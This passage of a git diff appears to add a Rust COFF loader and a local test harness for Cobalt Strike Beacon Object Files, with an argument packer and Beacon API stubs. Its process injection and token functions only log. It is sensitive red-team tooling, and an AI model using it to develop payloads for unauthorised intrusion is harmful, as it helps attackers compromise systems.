WSANSCLASSINFOA; + +typedef struct _WSANAMESPACE_INFOEXA { + void* NSProviderId; + unsigned int dwNameSpace; + BOOL fActive; + unsigned int dwVersion; + void* lpszIdentifier; + void* ProviderSpecific; +} WSANAMESPACE_INFOEXA; + +typedef struct _SERVICE_INFOA { + void* lpServiceType; + void* lpServiceName; + void* lpComment; + void* lpLocale; + void* dwDisplayHint; + unsigned int dwVersion; + unsigned int dwTime; + void* lpMachineName; + void* lpServiceAddress; + void* ServiceSpecificInfo; +} SERVICE_INFOA; + +typedef struct _PROTOENT { + void* p_name; + void* p_aliases; + short p_proto; +} PROTOENT; + +typedef struct _NAPI_DOMAIN_DESCRIPTION_BLOB { + unsigned int AuthLevel; + unsigned int cchDomainName; + unsigned int OffsetNextDomainDescription; + unsigned int OffsetThisDomainName; +} NAPI_DOMAIN_DESCRIPTION_BLOB; + +typedef struct _ADDRINFOEX2A { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; +} ADDRINFOEX2A; + +typedef struct _WSAQUERYSETW { + unsigned int dwSize; + void* lpszServiceInstanceName; + void* lpServiceClassId; + void* lpVersion; + void* lpszComment; + unsigned int dwNameSpace; + void* lpNSProviderId; + void* lpszContext; + unsigned int dwNumberOfProtocols; + void* lpafpProtocols; + void* lpszQueryString; + unsigned int dwNumberOfCsAddrs; + void* lpcsaBuffer; + unsigned int dwOutputFlags; + void* lpBlob; +} WSAQUERYSETW; + +typedef struct _ADDRINFOEX2W { + int ai_flags; + int ai_family; + int ai_socktype; + int ai_protocol; + unsigned long long ai_addrlen; + void* ai_canonname; + void* ai_addr; + void* ai_blob; + unsigned long long ai_bloblen; + void* ai_provider; + void* ai_next; + int ai_version; + void* ai_fqdn; +} ADDRINFOEX2W; + +typedef struct _IPV4_TIMESTAMP_OPTION { + void* OptionHeader; + unsigned char Pointer; + void* Anonymous; +} IPV4_TIMESTAMP_OPTION; + +typedef struct _ND_ROUTER_SOLICIT_HEADER { + void* nd_rs_hdr; +} ND_ROUTER_SOLICIT_HEADER; + +typedef struct _ND_REDIRECT_HEADER { + void* nd_rd_hdr; + void* nd_rd_target; + void* nd_rd_dst; +} ND_REDIRECT_HEADER; + +typedef struct _IPV4_OPTION_HEADER { + void* Anonymous; + unsigned char OptionLength; +} IPV4_OPTION_HEADER; + +typedef struct _NAPI_PROVIDER_INSTALLATION_BLOB { + unsigned int dwVersion; + unsigned int dwProviderType; + unsigned int fSupportsWildCard; + unsigned int cDomains; + unsigned int OffsetFirstDomain; +} NAPI_PROVIDER_INSTALLATION_BLOB; + +typedef struct _ND_OPTION_PREFIX_INFO { + unsigned char nd_opt_pi_type; + unsigned char nd_opt_pi_len; + unsigned char nd_opt_pi_prefix_len; + void* Anonymous1; + unsigned int nd_opt_pi_valid_time; + unsigned int nd_opt_pi_preferred_time; + void* Anonymous2; + void* nd_opt_pi_prefix; +} ND_OPTION_PREFIX_INFO; + diff --git a/tools/bof-loader/Cargo.toml b/tools/bof-loader/Cargo.toml new file mode 100644 index 0000000..719ce6d --- /dev/null +++ b/tools/bof-loader/Cargo.toml @@ -0,0 +1,16 @@ +[package] +name = "bof-loader" +version = "0.1.0" +edition = "2021" +description = "In-process COFF loader for EntropyKit BOFs. Parses .obj, maps sections, resolves __imp_* slots (Beacon stubs + Win32 imports), applies REL32 / ADDR64 relocations. Shared by `bof-runner` (CLI harness) and `entc-debug` (VS Code DAP server)." + +[lib] +name = "bof_loader" +path = "src/lib.rs" + +[target.'cfg(windows)'.dependencies] +windows-sys = { version = "0.59", features = [ + "Win32_Foundation", + "Win32_System_Memory", + "Win32_System_LibraryLoader", +] } diff --git a/tools/bof-loader/src/args.rs b/tools/bof-loader/src/args.rs new file mode 100644 index 0000000..4811a06 --- /dev/null +++ b/tools/bof-loader/src/args.rs @@ -0,0 +1,78 @@ +// SPDX-License-Identifier: Apache-2.0 +//! Cobalt Strike `bof_pack`-format argument packer. +//! +//! Walks a list of CLI-style flag tokens and emits the equivalent +//! byte sequence the BOF will see in its `args` buffer. The flag +//! vocabulary matches the `bof-runner` CLI: +//! +//! --args RAW raw bytes, no length prefix. For BOFs that +//! treat `args` as a C string. +//! --zarg STR `bof_pack "z"` - `[u32 length LE][bytes][NUL]`. +//! --iarg N `bof_pack "i"` - `[u32 BE]` (network byte order). +//! --sarg N `bof_pack "s"` - `[u16 BE]`. +//! --barg @FILE `bof_pack "b"` - `[u32 length LE][bytes]`. +//! +//! Order on the input list determines order in the output buffer - +//! the BOF reads with `BeaconDataExtract` / `BeaconDataInt` etc. in +//! matching order. Mixing typed flags with `--args` is supported but +//! rare; `--args`'s raw bytes go first. + +pub fn parse_packed_args(args: &[String]) -> Result, String> { + let mut out: Vec = Vec::new(); + let mut i = 0; + while i < args.len() { + let flag = args[i].as_str(); + let take_value = || -> Result<&str, String> { + args.get(i + 1).map(|s| s.as_str()) + .ok_or_else(|| format!("`{flag}` requires a value")) + }; + match flag { + "--args" => { + // Raw bytes - appended as-is, NO length prefix. A BOF + // reading this with BeaconDataExtract won't find the + // expected `[u32 len][bytes]` shape - `--args` is the + // "treat args buffer as a C string" path. + let v = take_value()?; + out.extend_from_slice(v.as_bytes()); + i += 2; + } + "--zarg" => { + let v = take_value()?; + let bytes = v.as_bytes(); + let length = (bytes.len() + 1) as u32; + out.extend_from_slice(&length.to_le_bytes()); + out.extend_from_slice(bytes); + out.push(0); + i += 2; + } + "--iarg" => { + let v = take_value()?; + let n: i32 = v.parse() + .map_err(|e| format!("--iarg `{v}`: {e}"))?; + out.extend_from_slice(&n.to_be_bytes()); + i += 2; + } + "--sarg" => { + let v = take_value()?; + let n: i16 = v.parse() + .map_err(|e| format!("--sarg `{v}`: {e}"))?; + out.extend_from_slice(&n.to_be_bytes()); + i += 2; + } + "--barg" => { + let v = take_value()?; + let Some(path) = v.strip_prefix('@') else { + return Err(format!("--barg expects `@path` (got `{v}`)")); + }; + let bytes = std::fs::read(path) + .map_err(|e| format!("--barg {path}: {e}"))?; + let length = bytes.len() as u32; + out.extend_from_slice(&length.to_le_bytes()); + out.extend_from_slice(&bytes); + i += 2; + } + other => return Err(format!("unknown flag: `{other}`")), + } + } + Ok(out) +} diff --git a/tools/bof-loader/src/beacon.rs b/tools/bof-loader/src/beacon.rs new file mode 100644 index 0000000..08fbe0e --- /dev/null +++ b/tools/bof-loader/src/beacon.rs @@ -0,0 +1,671 @@ +// SPDX-License-Identifier: Apache-2.0 +//! beacon.rs - in-harness implementations of the Beacon API. +//! +//! Every function declared in [stdlib/bof.etpy](../../stdlib/bof.etpy) +//! has a stub here so a BOF that calls it can run end-to-end through +//! `bof-runner` instead of bombing on "unresolved external." +//! +//! Stubs aim for **behavioural fidelity** with real Beacon where +//! cheap, and **clear instrumentation** where the real semantics are +//! impractical to replicate locally (process injection, syscall +//! gates, etc.). Each stub category documents which side it leans +//! toward. +//! +//! Calling convention: every exported stub is `unsafe extern "system"` +//! so the BOF can call it through `__imp_` with no thunking on +//! Win64 (rcx/rdx/r8/r9, 32-byte shadow). Pointers are raw - BOF code +//! is trusted in the harness. +//! +//! Concurrency: the harness runs `go` synchronously on the main +//! thread; no cross-thread state. The `BeaconAddValue` KV store and +//! the `BeaconGate` state use a `Mutex` for safety in case a future +//! version of the harness adds threading. + +// The library root gates this module on `cfg(windows)` already; +// the inner attribute is unnecessary here. +#![allow(non_snake_case, clippy::missing_safety_doc)] + +use std::collections::HashMap; +use std::io::Write; +use std::sync::Mutex; + +// ============================================================================ +// Shared state. Process-global to mirror "Beacon owns the heap" - +// state survives across BOF calls within one harness invocation. +// ============================================================================ + +/// `BeaconAddValue` / `GetValue` / `RemoveValue` storage. Keys are +/// owned `String`s (BOFs hand us a `char*` we copy on insert); values +/// are raw `usize` (the BOF's choice of payload - pointer, integer, +/// whatever). Lookups return 0 (null) for misses. +static KV: Mutex>> = Mutex::new(None); + +fn kv_with(f: impl FnOnce(&mut HashMap) -> R) -> R { + let mut guard = KV.lock().unwrap(); + if guard.is_none() { *guard = Some(HashMap::new()); } + f(guard.as_mut().unwrap()) +} + +unsafe fn cstr_to_string(p: *const u8) -> Option { + if p.is_null() { return None; } + let mut n = 0usize; + while *p.add(n) != 0 && n < 4096 { n += 1; } + let bytes = std::slice::from_raw_parts(p, n); + Some(String::from_utf8_lossy(bytes).into_owned()) +} + +// ============================================================================ +// Output: BeaconPrintf, BeaconOutput. +// +// Real Beacon ships output back to the operator's console. Locally +// we route output through an installable hook so: +// +// * Standalone `bof-runner` to default sink writes `[BOF] ` +// to stdout. Identical to the original behaviour. +// +// * `entc-debug` (DAP mode) to installs a custom hook that emits +// DAP `output` events to VS Code's Debug Console. Without this +// route, the BOF's `print!` writes would corrupt the DAP wire +// protocol (entc-debug's stdout IS the DAP channel). +// +// `set_output_hook` / `clear_output_hook` are the public hook +// API. The hook is held in a Mutex so callers from the BOF thread +// don't race with the DAP server thread installing/replacing it. +// +// EntropyKit source can't pass varargs today (you'd use `str.format` +// to build the final string first), so the stub treats `fmt` as a +// pre-formatted literal and emits it raw. +// ============================================================================ + +/// Output category for the hook callback. `Printf` is the `[BOF]` +/// stream; `Output` is the `[BOF output]` stream (real Beacon sends +/// these to different operator channels - log vs. data). +#[derive(Debug, Clone, Copy)] +pub enum OutputCategory { Printf, Output } + +type OutputHook = Box; + +/// One installable global output hook. When `None`, BeaconPrintf / +/// BeaconOutput fall back to stdout writes (bof-runner default). +/// When `Some`, every output flows through the closure instead - +/// entc-debug installs one that fans out to DAP events. +static OUTPUT_HOOK: Mutex> = Mutex::new(None); + +/// Install a custom output hook. The closure receives a category +/// and a `&str` for every BeaconPrintf / BeaconOutput call. Pass +/// `None` to revert to stdout default. +/// +/// Thread-safety: the BOF thread (which calls BeaconPrintf) and +/// the DAP server thread (which installs the hook) hit the same +/// Mutex; contention is minimal because the hook is set once at +/// launch and never replaced mid-session. +pub fn set_output_hook(f: F) +where F: Fn(OutputCategory, &str) + Send + Sync + 'static +{ + *OUTPUT_HOOK.lock().unwrap() = Some(Box::new(f)); +} + +/// Remove the hook. After this, BeaconPrintf / BeaconOutput resume +/// writing to stdout. `bof-runner` doesn't bother (the harness +/// exits after one run); `entc-debug` calls this on session +/// teardown so a subsequent session doesn't see stale state. +#[allow(dead_code)] +pub fn clear_output_hook() { + *OUTPUT_HOOK.lock().unwrap() = None; +} + +/// Emit one chunk through the active hook (or the default stdout +/// sink). Called from both Beacon API stubs and exposed to the +/// harness so test infrastructure can route diagnostic output +/// through the same pipe. +fn emit_output(cat: OutputCategory, text: &str) { + if let Some(ref hook) = *OUTPUT_HOOK.lock().unwrap() { + hook(cat, text); + return; + } + // Default sink - what bof-runner shows. + match cat { + OutputCategory::Printf => { + print!("[BOF] {text}"); + let _ = std::io::stdout().flush(); + } + OutputCategory::Output => { + println!("[BOF output] {text}"); + } + } +} + +pub unsafe extern "system" fn BeaconPrintf(_kind: i32, fmt: *const u8) { + if fmt.is_null() { return; } + let mut n = 0usize; + while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; } + let bytes = std::slice::from_raw_parts(fmt, n); + let s = String::from_utf8_lossy(bytes); + emit_output(OutputCategory::Printf, &s); +} + +pub unsafe extern "system" fn BeaconOutput(_kind: i32, data: *const u8, len: i32) { + if data.is_null() || len <= 0 { return; } + let slice = std::slice::from_raw_parts(data, len as usize); + let s = String::from_utf8_lossy(slice); + emit_output(OutputCategory::Output, &s); +} + +// ============================================================================ +// Data parsing: BeaconDataParse / Int / Short / Length / Extract. +// +// The C struct (and our `datap` in stdlib/bof.etpy): +// { char* original; char* buffer; int length; int size; } +// 24 bytes on x64. We index by raw byte offsets so the layout stays +// in sync with the source-level declaration without a Rust mirror. +// +// Format match: Aggressor's `bof_pack` packs variable-length items +// as `[u32 length LE][bytes]`, scalars (`i`, `s`) as BIG-endian. +// Real Beacon does `ntohl()` on the int read, so our stub does too. +// The harness CLI's `--zarg`/`--iarg`/`--sarg` flags pack on the +// same shape so end-to-end tests pass through symmetrically. +// ============================================================================ + +const OFF_ORIGINAL: usize = 0; +const OFF_BUFFER: usize = 8; +const OFF_LENGTH: usize = 16; +const OFF_SIZE: usize = 20; + +unsafe fn dp_buffer(p: *mut u8) -> *mut u8 { + *(p.add(OFF_BUFFER) as *mut *mut u8) +} +unsafe fn dp_set_buffer(p: *mut u8, v: *mut u8) { + *(p.add(OFF_BUFFER) as *mut *mut u8) = v; +} +unsafe fn dp_length(p: *mut u8) -> i32 { *(p.add(OFF_LENGTH) as *mut i32) } +unsafe fn dp_set_length(p: *mut u8, v: i32) { *(p.add(OFF_LENGTH) as *mut i32) = v; } + +pub unsafe extern "system" fn BeaconDataParse(parser: *mut u8, buffer: *mut u8, size: i32) { + if parser.is_null() { return; } + *(parser.add(OFF_ORIGINAL) as *mut *mut u8) = buffer; + *(parser.add(OFF_BUFFER) as *mut *mut u8) = buffer; + *(parser.add(OFF_LENGTH) as *mut i32) = size; + *(parser.add(OFF_SIZE) as *mut i32) = size; +} + +pub unsafe extern "system" fn BeaconDataInt(parser: *mut u8) -> i32 { + if parser.is_null() { return 0; } + let len = dp_length(parser); + if len < 4 { return 0; } + let buf = dp_buffer(parser); + let mut bytes = [0u8; 4]; + std::ptr::copy_nonoverlapping(buf, bytes.as_mut_ptr(), 4); + dp_set_buffer(parser, buf.add(4)); + dp_set_length(parser, len - 4); + // Beacon uses network byte order for ints - matches `bof_pack "i"`. + i32::from_be_bytes(bytes) +} + +pub unsafe extern "system" fn BeaconDataShort(parser: *mut u8) -> i16 { + if parser.is_null() { return 0; } + let len = dp_length(parser); + if len < 2 { return 0; } + let buf = dp_buffer(parser); + let mut bytes = [0u8; 2]; + std::ptr::copy_nonoverlapping(buf, bytes.as_mut_ptr(), 2); + dp_set_buffer(parser, buf.add(2)); + dp_set_length(parser, len - 2); + i16::from_be_bytes(bytes) +} + +pub unsafe extern "system" fn BeaconDataLength(parser: *mut u8) -> i32 { + if parser.is_null() { return 0; } + dp_length(parser) +} + +pub unsafe extern "system" fn BeaconDataExtract(parser: *mut u8, size: *mut i32) -> *mut u8 { + // Variable-length item: `[u32 length LE][bytes of that length]`. + // The returned pointer is INTO the original args buffer - caller + // does not free. + if parser.is_null() { return std::ptr::null_mut(); } + let len = dp_length(parser); + if len < 4 { return std::ptr::null_mut(); } + let buf = dp_buffer(parser); + let mut hdr = [0u8; 4]; + std::ptr::copy_nonoverlapping(buf, hdr.as_mut_ptr(), 4); + let item_len = u32::from_le_bytes(hdr) as i32; + if len - 4 < item_len { + return std::ptr::null_mut(); + } + let item_start = buf.add(4); + dp_set_buffer(parser, item_start.add(item_len as usize)); + dp_set_length(parser, len - 4 - item_len); + if !size.is_null() { *size = item_len; } + item_start +} + +// ============================================================================ +// Format API: BeaconFormat* - build a buffer in chunks, emit at once. +// +// Each `formatp` owns a heap-allocated `Vec` indirected through +// the struct's `original` pointer. `Alloc` puts the Vec on the heap +// and stashes the pointer + length; `Free` releases it. We track the +// allocations through `FORMAT_BUFS` so we can deallocate properly +// even if a BOF leaks its `formatp` (real Beacon would just let the +// process exit reclaim it). +// ============================================================================ + +const FP_OFF_ORIGINAL: usize = 0; +const FP_OFF_BUFFER: usize = 8; +const FP_OFF_LENGTH: usize = 16; +const FP_OFF_SIZE: usize = 20; + +static FORMAT_BUFS: Mutex>> = Mutex::new(None); +// Maps formatp-pointer to (original_ptr_as_usize, capacity). Used so +// `BeaconFormatFree` can convert the original pointer back into a +// `Vec` for deallocation without leaking. + +fn track_format_alloc(fp: usize, original: usize, capacity: usize) { + let mut g = FORMAT_BUFS.lock().unwrap(); + if g.is_none() { *g = Some(HashMap::new()); } + g.as_mut().unwrap().insert(fp, (original, capacity)); +} +fn forget_format_alloc(fp: usize) -> Option<(usize, usize)> { + let mut g = FORMAT_BUFS.lock().unwrap(); + g.as_mut().and_then(|m| m.remove(&fp)) +} + +pub unsafe extern "system" fn BeaconFormatAlloc(format: *mut u8, maxsz: i32) { + if format.is_null() || maxsz <= 0 { return; } + let cap = maxsz as usize; + let mut v: Vec = Vec::with_capacity(cap); + let p = v.as_mut_ptr(); + std::mem::forget(v); // keep the allocation alive; FORMAT_BUFS owns it + *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8) = p; + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = p; + *(format.add(FP_OFF_LENGTH) as *mut i32) = 0; + *(format.add(FP_OFF_SIZE) as *mut i32) = maxsz; + track_format_alloc(format as usize, p as usize, cap); +} + +pub unsafe extern "system" fn BeaconFormatReset(format: *mut u8) { + if format.is_null() { return; } + let original = *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8); + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = original; + *(format.add(FP_OFF_LENGTH) as *mut i32) = 0; +} + +pub unsafe extern "system" fn BeaconFormatFree(format: *mut u8) { + if format.is_null() { return; } + if let Some((ptr, cap)) = forget_format_alloc(format as usize) { + // Reconstruct + drop the Vec to actually deallocate. + let _v: Vec = Vec::from_raw_parts(ptr as *mut u8, 0, cap); + } + *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8) = std::ptr::null_mut(); + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = std::ptr::null_mut(); + *(format.add(FP_OFF_LENGTH) as *mut i32) = 0; + *(format.add(FP_OFF_SIZE) as *mut i32) = 0; +} + +unsafe fn format_append_bytes(format: *mut u8, data: *const u8, n: usize) { + if format.is_null() || data.is_null() || n == 0 { return; } + let cur = *(format.add(FP_OFF_BUFFER) as *mut *mut u8); + let len = *(format.add(FP_OFF_LENGTH) as *mut i32) as usize; + let cap = *(format.add(FP_OFF_SIZE) as *mut i32) as usize; + let writable = cap.saturating_sub(len); + let to_copy = n.min(writable); + if to_copy > 0 { + std::ptr::copy_nonoverlapping(data, cur, to_copy); + *(format.add(FP_OFF_BUFFER) as *mut *mut u8) = cur.add(to_copy); + *(format.add(FP_OFF_LENGTH) as *mut i32) = (len + to_copy) as i32; + } +} + +pub unsafe extern "system" fn BeaconFormatAppend(format: *mut u8, text: *const u8, len: i32) { + if len <= 0 { return; } + format_append_bytes(format, text, len as usize); +} + +pub unsafe extern "system" fn BeaconFormatPrintf(format: *mut u8, fmt: *const u8) { + // EntropyKit source-level varargs don't exist; the BOF passes a + // pre-formatted string. Treat `fmt` as a literal C string and + // append its bytes (no NUL). + if fmt.is_null() { return; } + let mut n = 0usize; + while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; } + format_append_bytes(format, fmt, n); +} + +pub unsafe extern "system" fn BeaconFormatToString(format: *mut u8, size: *mut i32) -> *mut u8 { + if format.is_null() { return std::ptr::null_mut(); } + let original = *(format.add(FP_OFF_ORIGINAL) as *mut *mut u8); + let len = *(format.add(FP_OFF_LENGTH) as *mut i32); + if !size.is_null() { *size = len; } + original +} + +pub unsafe extern "system" fn BeaconFormatInt(format: *mut u8, value: i32) { + // Big-endian to match Beacon's wire convention (`BeaconDataInt` + // does `ntohl`). Lets a BOF round-trip an int through Format / + // Data with no byte-order surprise. + let bytes = value.to_be_bytes(); + format_append_bytes(format, bytes.as_ptr(), 4); +} + +// ============================================================================ +// Token: BeaconUseToken, BeaconRevertToken, BeaconIsAdmin. +// +// Real Beacon swaps the thread's token via `SetThreadToken`. The +// harness just tracks "did the BOF ask to use a token?" so tests +// can assert on it; no actual impersonation happens locally. +// ============================================================================ + +static CURRENT_TOKEN: Mutex = Mutex::new(0); + +pub unsafe extern "system" fn BeaconUseToken(token: *mut u8) -> i32 { + *CURRENT_TOKEN.lock().unwrap() = token as usize; + eprintln!("[stub] BeaconUseToken(0x{:x})", token as usize); + 1 // success +} + +pub unsafe extern "system" fn BeaconRevertToken() { + *CURRENT_TOKEN.lock().unwrap() = 0; + eprintln!("[stub] BeaconRevertToken()"); +} + +pub unsafe extern "system" fn BeaconIsAdmin() -> i32 { + eprintln!("[stub] BeaconIsAdmin() -> false"); + 0 // not admin in the harness; flip to 1 to simulate elevated runs +} + +// ============================================================================ +// Spawn / inject - log + no-op. Replicating real injection in a test +// harness is both pointless and dangerous; the operator gets clear +// stderr output describing what their BOF would have done. +// ============================================================================ + +pub unsafe extern "system" fn BeaconGetSpawnTo(x86: i32, buffer: *mut u8, length: i32) { + let default = if x86 != 0 { + b"%windir%\\syswow64\\rundll32.exe\0".as_ref() + } else { + b"%windir%\\sysnative\\rundll32.exe\0".as_ref() + }; + if buffer.is_null() || length <= 0 { return; } + let n = (length as usize).min(default.len()); + std::ptr::copy_nonoverlapping(default.as_ptr(), buffer, n); + eprintln!("[stub] BeaconGetSpawnTo(x86={}) -> {}", + x86 != 0, + String::from_utf8_lossy(&default[..n.saturating_sub(1)])); +} + +pub unsafe extern "system" fn BeaconInjectProcess( + process_handle: *mut u8, pid: i32, + _payload: *const u8, p_length: i32, p_offset: i32, + _arg: *const u8, a_length: i32, +) { + eprintln!( + "[stub] BeaconInjectProcess(handle=0x{:x}, pid={}, payload_len={}, payload_off={}, arg_len={})", + process_handle as usize, pid, p_length, p_offset, a_length, + ); +} + +pub unsafe extern "system" fn BeaconInjectTemporaryProcess( + process_info: *mut u8, + _payload: *const u8, p_length: i32, p_offset: i32, + _arg: *const u8, a_length: i32, +) { + eprintln!( + "[stub] BeaconInjectTemporaryProcess(pi=0x{:x}, payload_len={}, payload_off={}, arg_len={})", + process_info as usize, p_length, p_offset, a_length, + ); +} + +pub unsafe extern "system" fn BeaconCleanupProcess(process_info: *mut u8) { + eprintln!("[stub] BeaconCleanupProcess(pi=0x{:x})", process_info as usize); +} + +pub unsafe extern "system" fn BeaconSpawnTemporaryProcess( + x86: i32, ignore_token: i32, + _si: *mut u8, _pi: *mut u8, +) -> i32 { + eprintln!("[stub] BeaconSpawnTemporaryProcess(x86={}, ignore_token={}) -> false", + x86 != 0, ignore_token != 0); + 0 +} + +// ============================================================================ +// Utility: toWideChar. +// +// ASCII to UTF-16. NUL-terminates the destination if there's room. +// Returns 1 on success, 0 on bad input. Real Beacon uses Win32's +// `MultiByteToWideChar`; for ASCII-only input the byte-by-byte +// extension matches it exactly. +// ============================================================================ + +pub unsafe extern "system" fn toWideChar(src: *const u8, dst: *mut u16, max: i32) -> i32 { + if src.is_null() || dst.is_null() || max <= 0 { return 0; } + let mut i = 0usize; + let max = max as usize; + while i + 1 < max { + let b = *src.add(i); + if b == 0 { break; } + *dst.add(i) = b as u16; + i += 1; + } + *dst.add(i) = 0; + 1 +} + +// ============================================================================ +// Session KV store (CS 4.9+). +// ============================================================================ + +pub unsafe extern "system" fn BeaconAddValue(key: *const u8, ptr: *mut u8) -> i32 { + let Some(k) = cstr_to_string(key) else { return 0; }; + kv_with(|m| { m.insert(k, ptr as usize); }); + 1 +} + +pub unsafe extern "system" fn BeaconGetValue(key: *const u8) -> *mut u8 { + let Some(k) = cstr_to_string(key) else { return std::ptr::null_mut(); }; + kv_with(|m| m.get(&k).copied().unwrap_or(0)) as *mut u8 +} + +pub unsafe extern "system" fn BeaconRemoveValue(key: *const u8) -> i32 { + let Some(k) = cstr_to_string(key) else { return 0; }; + kv_with(|m| if m.remove(&k).is_some() { 1 } else { 0 }) +} + +// ============================================================================ +// BeaconInformation (CS 4.9+) - fill an opaque BEACON_INFO block. +// +// The harness writes a fixed-shape blob: 4 bytes BOF mode marker, +// 4 bytes harness pid, 8 bytes sleep_ms, rest zeroed. The user code +// reads specific offsets via casts (until we ship a typed wrapper). +// ============================================================================ + +pub unsafe extern "system" fn BeaconInformation(info: *mut u8) -> i32 { + if info.is_null() { return 0; } + // Zero the whole 256-byte block first. + std::ptr::write_bytes(info, 0, 256); + // Slot 0..4: signature 'EKBF' (EntropyKit BOF) so callers can + // tell they're running inside the local harness. + *(info as *mut u32) = u32::from_le_bytes(*b"EKBF"); + // Slot 4..8: pid. + *(info.add(4) as *mut u32) = std::process::id(); + // Slot 8..16: a fake sleep of 0 (the harness doesn't loop). + *(info.add(8) as *mut u64) = 0; + 1 +} + +// ============================================================================ +// Error reporting (CS 4.10+). +// ============================================================================ + +pub unsafe extern "system" fn BeaconIsErrorMessage(kind: i32, fmt: *const u8) { + if fmt.is_null() { return; } + let mut n = 0usize; + while *fmt.add(n) != 0 && n < 64 * 1024 { n += 1; } + let bytes = std::slice::from_raw_parts(fmt, n); + let s = String::from_utf8_lossy(bytes); + eprintln!("[BOF error type={kind}] {s}"); +} + +// ============================================================================ +// Custom user data (CS 4.10+). +// ============================================================================ + +static CUSTOM_USER_DATA: Mutex = Mutex::new(0); + +/// Test hook for the harness to seed user data before running the +/// BOF. Not exported to BOFs - they call `BeaconGetCustomUserData` +/// instead. +pub fn set_custom_user_data(p: usize) { + *CUSTOM_USER_DATA.lock().unwrap() = p; +} + +pub unsafe extern "system" fn BeaconGetCustomUserData() -> *mut u8 { + *CUSTOM_USER_DATA.lock().unwrap() as *mut u8 +} + +// ============================================================================ +// Data store APIs (CS 4.10+) - memory-safety primitives. Stubbed as +// no-ops with logging; the operator gets visibility into what the +// BOF is doing without crashing on missing symbols. +// ============================================================================ + +pub unsafe extern "system" fn BeaconDataStoreGetItem(index: i32) -> *mut u8 { + eprintln!("[stub] BeaconDataStoreGetItem({index}) -> null"); + std::ptr::null_mut() +} + +pub unsafe extern "system" fn BeaconDataStoreProtectItem(index: i32) { + eprintln!("[stub] BeaconDataStoreProtectItem({index})"); +} + +pub unsafe extern "system" fn BeaconDataStoreUnprotectItem(index: i32) { + eprintln!("[stub] BeaconDataStoreUnprotectItem({index})"); +} + +// ============================================================================ +// Beacon gate APIs (CS 4.10+) - syscall obfuscation. Stubbed. +// ============================================================================ + +pub unsafe extern "system" fn BeaconGate(vftable_p: *mut u8, indices_p: *mut u8) -> i32 { + eprintln!("[stub] BeaconGate(vftable=0x{:x}, indices=0x{:x}) -> false", + vftable_p as usize, indices_p as usize); + 0 +} + +pub unsafe extern "system" fn BeaconGateReturnValue() -> *mut u8 { + std::ptr::null_mut() +} + +pub unsafe extern "system" fn BeaconDisableBeaconGate() -> i32 { + eprintln!("[stub] BeaconDisableBeaconGate()"); + 1 +} + +pub unsafe extern "system" fn BeaconEnableBeaconGate() -> i32 { + eprintln!("[stub] BeaconEnableBeaconGate()"); + 1 +} + +// ============================================================================ +// Custom commands (CS 4.10+). +// ============================================================================ + +static COMMANDS: Mutex>> = Mutex::new(None); + +fn commands_with(f: impl FnOnce(&mut HashMap) -> R) -> R { + let mut g = COMMANDS.lock().unwrap(); + if g.is_none() { *g = Some(HashMap::new()); } + f(g.as_mut().unwrap()) +} + +pub unsafe extern "system" fn BeaconAddCommand(command: *const u8, function: *mut u8) -> i32 { + let Some(k) = cstr_to_string(command) else { return 0; }; + commands_with(|m| { m.insert(k, function as usize); }); + 1 +} + +pub unsafe extern "system" fn BeaconRemoveCommand(command: *const u8) -> i32 { + let Some(k) = cstr_to_string(command) else { return 0; }; + commands_with(|m| if m.remove(&k).is_some() { 1 } else { 0 }) +} + +pub unsafe extern "system" fn BeaconGetCommand(command: *const u8) -> *mut u8 { + let Some(k) = cstr_to_string(command) else { return std::ptr::null_mut(); }; + commands_with(|m| m.get(&k).copied().unwrap_or(0)) as *mut u8 +} + +// ============================================================================ +// Dispatch table: name to function pointer. +// +// One entry per Beacon API the harness implements. The runner's +// `__imp_` slot resolver consults this table; unknown names +// fall through to "unresolved external" which fails fast. +// ============================================================================ + +pub fn resolve(name: &str) -> Option<*const u8> { + let f: *const u8 = match name { + // Output + "BeaconPrintf" => BeaconPrintf as *const u8, + "BeaconOutput" => BeaconOutput as *const u8, + + // Data parsing + "BeaconDataParse" => BeaconDataParse as *const u8, + "BeaconDataInt" => BeaconDataInt as *const u8, + "BeaconDataShort" => BeaconDataShort as *const u8, + "BeaconDataLength" => BeaconDataLength as *const u8, + "BeaconDataExtract" => BeaconDataExtract as *const u8, + + // Format + "BeaconFormatAlloc" => BeaconFormatAlloc as *const u8, + "BeaconFormatReset" => BeaconFormatReset as *const u8, + "BeaconFormatFree" => BeaconFormatFree as *const u8, + "BeaconFormatAppend" => BeaconFormatAppend as *const u8, + "BeaconFormatPrintf" => BeaconFormatPrintf as *const u8, + "BeaconFormatToString" => BeaconFormatToString as *const u8, + "BeaconFormatInt" => BeaconFormatInt as *const u8, + + // Token + "BeaconUseToken" => BeaconUseToken as *const u8, + "BeaconRevertToken" => BeaconRevertToken as *const u8, + "BeaconIsAdmin" => BeaconIsAdmin as *const u8, + + // Spawn / inject + "BeaconGetSpawnTo" => BeaconGetSpawnTo as *const u8, + "BeaconInjectProcess" => BeaconInjectProcess as *const u8, + "BeaconInjectTemporaryProcess" => BeaconInjectTemporaryProcess as *const u8, + "BeaconCleanupProcess" => BeaconCleanupProcess as *const u8, + "BeaconSpawnTemporaryProcess" => BeaconSpawnTemporaryProcess as *const u8, + + // Utility + "toWideChar" => toWideChar as *const u8, + + // KV store + "BeaconAddValue" => BeaconAddValue as *const u8, + "BeaconGetValue" => BeaconGetValue as *const u8, + "BeaconRemoveValue" => BeaconRemoveValue as *const u8, + + // Beacon info / errors / custom data + "BeaconInformation" => BeaconInformation as *const u8, + "BeaconIsErrorMessage" => BeaconIsErrorMessage as *const u8, + "BeaconGetCustomUserData" => BeaconGetCustomUserData as *const u8, + + // Data store + "BeaconDataStoreGetItem" => BeaconDataStoreGetItem as *const u8, + "BeaconDataStoreProtectItem" => BeaconDataStoreProtectItem as *const u8, + "BeaconDataStoreUnprotectItem" => BeaconDataStoreUnprotectItem as *const u8, + + // Beacon gate + "BeaconGate" => BeaconGate as *const u8, + "BeaconGateReturnValue" => BeaconGateReturnValue 